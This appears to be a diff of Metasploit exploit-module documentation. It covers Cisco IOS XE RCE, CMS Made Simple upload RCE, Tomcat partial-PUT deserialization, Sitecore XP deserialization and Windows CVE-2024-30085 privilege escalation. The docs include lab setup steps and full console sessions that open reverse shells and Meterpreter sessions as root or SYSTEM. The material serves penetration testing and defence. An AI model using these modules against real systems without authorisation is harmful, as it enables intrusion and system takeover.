|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME UoDekiVI no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'XpJaBQIt' with password 'qEBrzlDh'
|
||||
[*] Removing user 'XpJaBQIt'
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.114
|
||||
[*] Meterpreter session 7 opened (192.168.86.122:4444 -> 192.168.86.114:61922) at 2025-03-03 20:34:05 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : test2_c1000v
|
||||
OS : (Linux 4.19.64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp
|
||||
payload => cmd/linux/http/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'vmoCbNcA' with password 'UgDnLaCG'
|
||||
[*] Removing user 'vmoCbNcA'
|
||||
[*] Sending stage (38 bytes) to 192.168.86.114
|
||||
[*] Command shell session 8 opened (192.168.86.122:4444 -> 192.168.86.114:61940) at 2025-03-03 20:34:58 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.114 - Command shell session 8 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 17.3.2)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
|
||||
RHOSTS => 192.168.86.113
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'edGjwUsF' with password 'hhOLNNrX'
|
||||
[*] Removing user 'edGjwUsF'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.113
|
||||
[*] Meterpreter session 9 opened (192.168.86.122:4444 -> 192.168.86.113:56770) at 2025-03-03 20:36:00 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : testc100v
|
||||
OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
|
||||
[*] Created privilege 15 user 'mXsKBwvG' with password 'gCUirrkj'
|
||||
[*] Removing user 'mXsKBwvG'
|
||||
[*] Command shell session 10 opened (192.168.86.122:4444 -> 192.168.86.113:56802) at 2025-03-03 20:36:39 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.113 - Command shell session 10 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
### Unix Target (IOS XE 16.12.3)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
|
||||
RHOSTS => 192.168.86.114
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
payload => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options
|
||||
|
||||
Module options (exploit/linux/misc/cisco_ios_xe_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command.
|
||||
CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
@@ -340,7 +361,7 @@ Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
@@ -354,45 +375,43 @@ Exploit target:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
|
||||
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ'
|
||||
[*] Removing user 'pJaWZBTl'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.59
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000
|
||||
[*] Created privilege 15 user 'vhQbLuix' with password 'JAjuUVov'
|
||||
[*] Removing user 'vhQbLuix'
|
||||
[*] Sending stage (24772 bytes) to 192.168.86.114
|
||||
[*] Meterpreter session 11 opened (192.168.86.122:4444 -> 192.168.86.114:61966) at 2025-03-03 20:37:36 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : router
|
||||
Computer : test2_c1000v
|
||||
OS : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03
|
||||
[*] Created privilege 15 user 'aZIYJugi' with password 'RziZqysr'
|
||||
[*] Removing user 'aZIYJugi'
|
||||
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.59:56584) at 2023-11-06 16:43:30 +0000
|
||||
[*] Created privilege 15 user 'JJgILIEn' with password 'EkMpGWih'
|
||||
[*] Removing user 'JJgILIEn'
|
||||
[*] Command shell session 12 opened (192.168.86.122:4444 -> 192.168.86.114:61982) at 2025-03-03 20:38:16 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
uname -a
|
||||
Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.86.59 - Command shell session 4 closed.
|
||||
[*] 192.168.86.114 - Command shell session 12 closed.
|
||||
msf6 exploit(linux/misc/cisco_ios_xe_rce) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
|
||||
with the `.phar` or `.phtml` extensions, enabling execution of PHP code
|
||||
leading to RCE. The file can be executed by accessing its URL in the
|
||||
`/uploads/` directory.
|
||||
|
||||
## Installation
|
||||
|
||||
### Kali Linux 2024.3
|
||||
|
||||
Install PHP dependencies:
|
||||
```
|
||||
sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget
|
||||
```
|
||||
|
||||
Start mariadb and apache:
|
||||
```
|
||||
sudo systemctl start apache2
|
||||
sudo systemctl start mariadb
|
||||
```
|
||||
|
||||
Connect to the database:
|
||||
```
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Create a database user `msfuser` and a database named `cmsms`:
|
||||
```
|
||||
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass';
|
||||
CREATE DATABASE cmsms;
|
||||
GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
Download CMSMadeSimple, extract it and move it to `/var/www/html`:
|
||||
```
|
||||
wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip
|
||||
unzip cmsms-2.2.21-install.zip
|
||||
sudo mv cmsms-2.2.21-install.php /var/www/html
|
||||
rm /var/www/html/index.html
|
||||
```
|
||||
|
||||
Set the necessary permissions:
|
||||
```
|
||||
sudo chmod 755 -R /var/www/html/
|
||||
sudo chown www-data:www-data -R /var/www/html/
|
||||
```
|
||||
|
||||
The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`,
|
||||
navigate there in a browser to complete the setup wizard.
|
||||
On the tests page, `Testing if we can change INI settings` warning can be ignored.
|
||||
It will ask you for the database credentials created above, input them and enter `cmsms` for database name.
|
||||
|
||||
Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install CMSMadeSimple
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce`
|
||||
4. Do: `set RHOST [IP]`
|
||||
5. Do: `set username [username]`
|
||||
6. Do: `set password [password]`
|
||||
7. Do: `run`
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The username for the CMSMS admin panel. Default is empty string
|
||||
|
||||
### PASSWORD
|
||||
The password for the CMSMS admin panel. Default is empty string
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CMSMadeSimple v2.2.21 on Kali Linux 2024.3
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/cmsms_file_manager_auth_rce
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > set password password
|
||||
password => password
|
||||
msf6 exploit(multi/http/cmsms_file_manager_auth_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.232.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (40004 bytes) to 192.168.232.128
|
||||
[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : kali
|
||||
OS : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,150 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a Java deserialization vulnerability in Apache Tomcat's session restoration functionality
|
||||
that can be exploited with a partial HTTP PUT request to place an attacker controlled deserialization payload in the
|
||||
<tomcat_root_dir>/webapps/ROOT/ directory. For the exploit to succeed, writes must be enabled for the default servlet,
|
||||
and `org.apache.catalina.session.PersistentManager` must be configured to use `org.apache.catalina.session.FileStore`.
|
||||
|
||||
## Setup
|
||||
Download Ubuntu Server 24:
|
||||
`wget https://mirror.0xem.ma/ubuntu-releases/24.04.2/ubuntu-24.04.2-live-server-amd64.iso`
|
||||
|
||||
Install ubuntu on your preferred hypervisor, enable SSH during installation. Reboot once installation is complete and SSH into the target.
|
||||
Download Tomcat and Java:
|
||||
```
|
||||
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
|
||||
wget https://cdn.azul.com/zulu/bin/zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
|
||||
```
|
||||
|
||||
Extract the JDK Archive to the appropriate directory:
|
||||
```
|
||||
tar -xvzf zulu8.80.0.17-ca-jdk8.0.422-linux_x64.tar.gz
|
||||
sudo mkdir -p /opt/java
|
||||
sudo mv zulu8.80.0.17-ca-jdk8.0.422-linux_x64 /opt/java/zulu8
|
||||
```
|
||||
|
||||
Install `unzip` and extract Tomcat:
|
||||
```
|
||||
sudo apt install unzip -y
|
||||
sudo unzip apache-tomcat-9.0.90.zip -d /opt/
|
||||
```
|
||||
|
||||
Set `CATALINA_HOME` and `JAVA_HOME` also update `PATH` by adding the following to `~/.bashrc`:
|
||||
```
|
||||
export CATALINA_HOME=/opt/apache-tomcat-9.0.90
|
||||
export JAVA_HOME=/opt/java/zulu8
|
||||
export PATH=$JAVA_HOME/bin:$PATH
|
||||
```
|
||||
|
||||
Apply changes:
|
||||
```
|
||||
source ~/.bashrc
|
||||
```
|
||||
|
||||
Change Tomcat permissions:
|
||||
```
|
||||
sudo chown -R msfuser:msfuser /opt/apache-tomcat-9.0.90
|
||||
sudo chmod -R +x /opt/apache-tomcat-9.0.90/bin
|
||||
```
|
||||
|
||||
Edit `conf/web.xml` and update the default servlet with the following:
|
||||
```
|
||||
<servlet>
|
||||
<servlet-name>default</servlet-name>
|
||||
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
|
||||
<init-param>
|
||||
<param-name>debug</param-name>
|
||||
<param-value>0</param-value>
|
||||
</init-param>
|
||||
<init-param>
|
||||
<param-name>listings</param-name>
|
||||
<param-value>false</param-value>
|
||||
</init-param>
|
||||
<init-param>
|
||||
<param-name>readonly</param-name>
|
||||
<param-value>false</param-value>
|
||||
</init-param>
|
||||
<load-on-startup>1</load-on-startup>
|
||||
</servlet>
|
||||
```
|
||||
|
||||
Edit `conf/content.xml` and add the following inside the pre-existing `<Context>` tags:
|
||||
```
|
||||
<Manager className="org.apache.catalina.session.PersistentManager">
|
||||
<Store className="org.apache.catalina.session.FileStore" />
|
||||
</Manager>
|
||||
```
|
||||
|
||||
Create the following directory inside the tomcat root directory:
|
||||
```
|
||||
mkdir -p webapps/ROOT/WEB-INF/lib
|
||||
cd ./webapps/ROOT/WEB-INF/lib
|
||||
```
|
||||
|
||||
Download the following dependencies:
|
||||
```
|
||||
wget https://repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
|
||||
wget https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
|
||||
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
|
||||
```
|
||||
|
||||
Start the vulnerable Tomcat instance:
|
||||
```
|
||||
cd /opt/apache-tomcat-9.0.90/bin
|
||||
./startup.sh
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### GADGET
|
||||
The desired ysoserial gadget to use to obtain RCE.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use multi/http/tomcat_partial_put_deserialization`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `set GADGET <YSOSERIAL_GADGET>`
|
||||
6. `set LHOST eth0`
|
||||
7. `check`
|
||||
8. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Tomcat 9.0.90, jdk8.0.422 running on Ubuntu Server 24. Target: Linux Command
|
||||
|
||||
```
|
||||
msf6 > use multi/http/tomcat_partial_put_deserialization
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set gadget CommonsCollections6
|
||||
gadget => CommonsCollections6
|
||||
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > check
|
||||
[!] This exploit may require manual cleanup of '../webapps/ROOT/YLNKdGSIcB.session' on the target
|
||||
[+] 172.16.199.130:8080 - The target is vulnerable.
|
||||
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > run
|
||||
[*] Started reverse TCP handler on 172.16.199.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
|
||||
[*] Utilizing CommonsCollections6 deserialization chain
|
||||
[+] Uploaded ysoserial payload (imNsIsZCCC.session) via partial PUT
|
||||
[*] Attempting to deserialize session file..
|
||||
[+] 500 error response usually indicates success :)
|
||||
[*] Sending stage (24772 bytes) to 172.16.199.130
|
||||
[+] Deleted ../webapps/ROOT/pAdshcNMRO.session
|
||||
[+] Deleted ../webapps/ROOT/imNsIsZCCC.session
|
||||
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.130:44562) at 2025-04-02 13:34:50 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: msfuser
|
||||
meterpreter > sysinfo
|
||||
Computer : msfserver
|
||||
OS : Linux 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC Sat Mar 15 17:40:59 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,45 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
|
||||
Platform (XP) 10.4 before KB1002844 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
|
||||
|
||||
### Setup
|
||||
The SiteCore installer can be downloaded from the [downloads page](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform/104/Sitecore_Experience_Platform_104).
|
||||
Note that a license is required to run the application.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use windows/http/sitecore_xp_cve_2025_27218`
|
||||
3. Set the `RHOST` abd `LHOST`, options
|
||||
4. Run the module
|
||||
5. Receive a Meterpreter session as the `IIS APPPOOL\XP0.sc` user.
|
||||
|
||||
## Scenarios
|
||||
### SiteCore XP 10.4.0 Revision 010422 running on Windows Server 2022
|
||||
```
|
||||
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set rhost xp0.sc
|
||||
rhost => xp0.sc
|
||||
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > dns add-static xp0.sc 192.168.123.244
|
||||
[*] Added static hostname mapping xp0.sc to 192.168.123.244
|
||||
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > run
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. The target is running SiteCore.
|
||||
[+] Server responded with 200, this probably means it worked.
|
||||
[*] Sending stage (203846 bytes) to 192.168.123.244
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.244:49832) at 2025-03-27 08:58:13 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: IIS APPPOOL\XP0.sc
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-2I9LBN2Q0R5
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
## Vulnerable Application
|
||||
As of the writing of this documentaiton, NIST claims on https://nvd.nist.gov/vuln/detail/cve-2024-30085 that the
|
||||
following versions of Windows are vulnerable:
|
||||
```
|
||||
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.17763.5936
|
||||
|
||||
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.19044.4529
|
||||
|
||||
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.19045.4529
|
||||
|
||||
cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.22000.3019
|
||||
|
||||
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.22621.3737
|
||||
|
||||
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.22631.3737
|
||||
|
||||
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.17763.5936
|
||||
|
||||
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.20348.2522
|
||||
|
||||
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*
|
||||
Up to (excluding) 10.0.25398.950
|
||||
```
|
||||
|
||||
In practice, this exploit did not work on Windows 10_1809, but does appear to work on Windows 10_2004, 10_20H2, and
|
||||
10_21H1 as well as the remaining vulnerable versions listed by NIST.
|
||||
|
||||
CVE-2024-30085 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
|
||||
Windows 11 and Windows Server 2022.
|
||||
|
||||
The vulnerability is a heap overflow in the Cloud Files Mini Filter Driver, a driver that facilitates
|
||||
management and synchronization of files between a local host and a remote server. Under certain specific
|
||||
circumstances, the application will not perform a check of the size when updating a file in local memory,
|
||||
allowing a heap overflow.
|
||||
By overflowing and corrupting _WNF_STATE_DATA objects, we can leak the location of the ALPC handle table and again
|
||||
to leak a PipeAttribute object. The PipeAttribute object then allows us to leak the location of the system process
|
||||
token and overwrite own on token with it.
|
||||
If this exploit fails, it will not work again until the target reboots.
|
||||
|
||||
### Setup
|
||||
|
||||
Windows 10 2004 to Windows 11 23H2 and Server 2022 through server 23H2 are vulnerable.
|
||||
This exploit module has been tested on Windows 10 2004 through Windows 11 23H2 10.0.22631.2428 and Server 2022
|
||||
10.0.20348.169
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a user level session on an affected Windows machine
|
||||
1. Do: `windows/local/cve_2024_30085_cloud_files`
|
||||
1. Set the `LHOST`, `LPORT`, and `SESSION` options
|
||||
1. Run the module
|
||||
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.
|
||||
|
||||
## Scenarios
|
||||
### Windows 11 (10.0 Build 22631.2428)
|
||||
```
|
||||
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > show options
|
||||
|
||||
Module options (exploit/windows/local/cve_2024_30085_cloud_files):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 3 yes The session to run this module on
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4545 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows x64
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > set session 5
|
||||
session => 5
|
||||
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > run
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4545
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] OS version: Windows 11 version 23H2
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Launching notepad to host the exploit...
|
||||
[*] The notepad path is: C:\Windows\System32\notepad.exe
|
||||
[*] The notepad pid is: 4152
|
||||
[*] Reflectively injecting the DLL into 4152...
|
||||
[*] Sending stage (203846 bytes) to 10.5.132.111
|
||||
[*] Meterpreter session 6 opened (10.5.135.201:4545 -> 10.5.132.111:49800) at 2025-03-06 16:19:44 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN11_23H2_8EA9
|
||||
OS : Windows 11 (10.0 Build 22631).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.32413.119
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-202430085-dll", "cve-202430085-dll\cve-202430085-dll.vcxproj", "{93E2DA95-5C4F-4801-9156-E5AB3A944B10}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.Build.0 = Debug|x64
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.Build.0 = Debug|Win32
|
||||
